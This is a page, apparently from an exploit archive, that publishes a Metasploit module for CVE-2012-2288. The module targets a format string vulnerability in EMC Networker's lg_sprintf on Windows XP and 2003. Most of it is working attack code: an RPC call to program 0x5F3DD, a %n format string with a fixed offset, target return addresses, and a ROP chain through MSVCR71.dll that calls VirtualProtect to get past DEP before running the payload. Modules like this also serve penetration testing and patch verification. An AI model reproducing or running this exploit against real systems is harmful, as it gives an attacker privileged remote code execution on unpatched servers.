what you don't know can hurt you

EMC Networker Format String

EMC Networker Format String
Posted Nov 6, 2012
Authored by Aaron Portnoy | Site metasploit.com

This Metasploit module exploits a format string vulnerability in the lg_sprintf function as implemented in liblocal.dll on EMC Networker products. This Metasploit module exploits the vulnerability by using a specially crafted RPC call to the program number 0x5F3DD, version 0x02, and procedure 0x06. This Metasploit module has been tested successfully on EMC Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).

tags | exploit
systems | windows, xp
advisories | CVE-2012-2288, OSVDB-85116
MD5 | 7200b7cb5e644bf20e77506e4376b50e

EMC Networker Format String

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::SunRPC

def initialize(info = {})
super(update_info(info,
'Name' => 'EMC Networker Format String',
'Description' => %q{
This module exploits a format string vulnerability in the lg_sprintf function
as implemented in liblocal.dll on EMC Networker products. This module exploits the
vulnerability by using a specially crafted RPC call to the program number 0x5F3DD,
version 0x02, and procedure 0x06. This module has been tested successfully on EMC
Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
},
'Author' =>
[
'Aaron Portnoy', # Vulnerability Discovery and analysis
'Luigi Auriemma <aluigi[at]autistici.org>', # Vulnerability Discovery and analysis
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-2288' ],
[ 'OSVDB', '85116' ],
[ 'BID', '55330' ],
[ 'URL', 'http://blog.exodusintel.com/2012/08/29/when-wrapping-it-up-goes-wrong/' ],
[ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ]
],
'Platform' => [ 'win' ],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a\x25\x2a",
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Targets' =>
[
['EMC Networker 7.6 SP3 / Windows Universal',
{
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
'Offset' => 156,
'DEP' => true
}
],
['EMC Networker 7.6 SP3 / Windows XP SP3',
{
'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll
'Offset' => 156,
'DEP' => false
}
],
['EMC Networker 7.6 SP3 / Windows 2003 SP2',
{
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
'Offset' => 156,
'DEP' => true
}
]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Aug 29 2012'))

end

def exploit

begin
if (not sunrpc_create('tcp', 0x5F3DD, 2))
fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed')
end

fs = "%n" * target['Offset']
fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll
if target['DEP']
rop_gadgets =
[
# rop chain generated with mona.py
# The RopDb mixin isn't used because there are badchars
# which must be avoided
0x7c354dab, # POP EBP # RETN [MSVCR71.dll]
0x7c354dab, # skip 4 bytes [MSVCR71.dll]
0x7c37678f, # POP EAX # RETN [MSVCR71.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x7c34d749, # NEG EAX # RETN [MSVCR71.dll]
0x7c362688, # POP EBX # RETN [MSVCR71.dll]
0xffffffff, #
0x7c345255, # INC EBX # FPATAN # RETN [MSVCR71.dll]
0x7c363cff, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll]
0x7c34592b, # POP EDX # RETN [MSVCR71.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN [MSVCR71.dll]
0x7c37765f, # POP ECX # RETN [MSVCR71.dll]
0x7c38ecfe, # &Writable location [MSVCR71.dll]
0x7c34a490, # POP EDI # RETN [MSVCR71.dll]
0x7c347f98, # RETN (ROP NOP) [MSVCR71.dll]
0x7c364612, # POP ESI # RETN [MSVCR71.dll]
0x7c3415a2, # JMP [EAX] [MSVCR71.dll]
0x7c344cc1, # POP EAX # RETN [MSVCR71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
0x7c345c30, # ptr to 'push esp # ret ' [MSVCR71.dll]
].pack("V*")
fs << rop_gadgets
end
fs << payload.encoded

xdr = XDR.encode(0, 2, rand_text_alpha(10), XDR.encode(fs, rand_text_alpha(10)), 2)
sunrpc_call(6, xdr)
sunrpc_destroy

rescue Rex::Proto::SunRPC::RPCTimeout
print_error('RPCTimeout')
rescue EOFError
print_error('EOFError')
end
end

end

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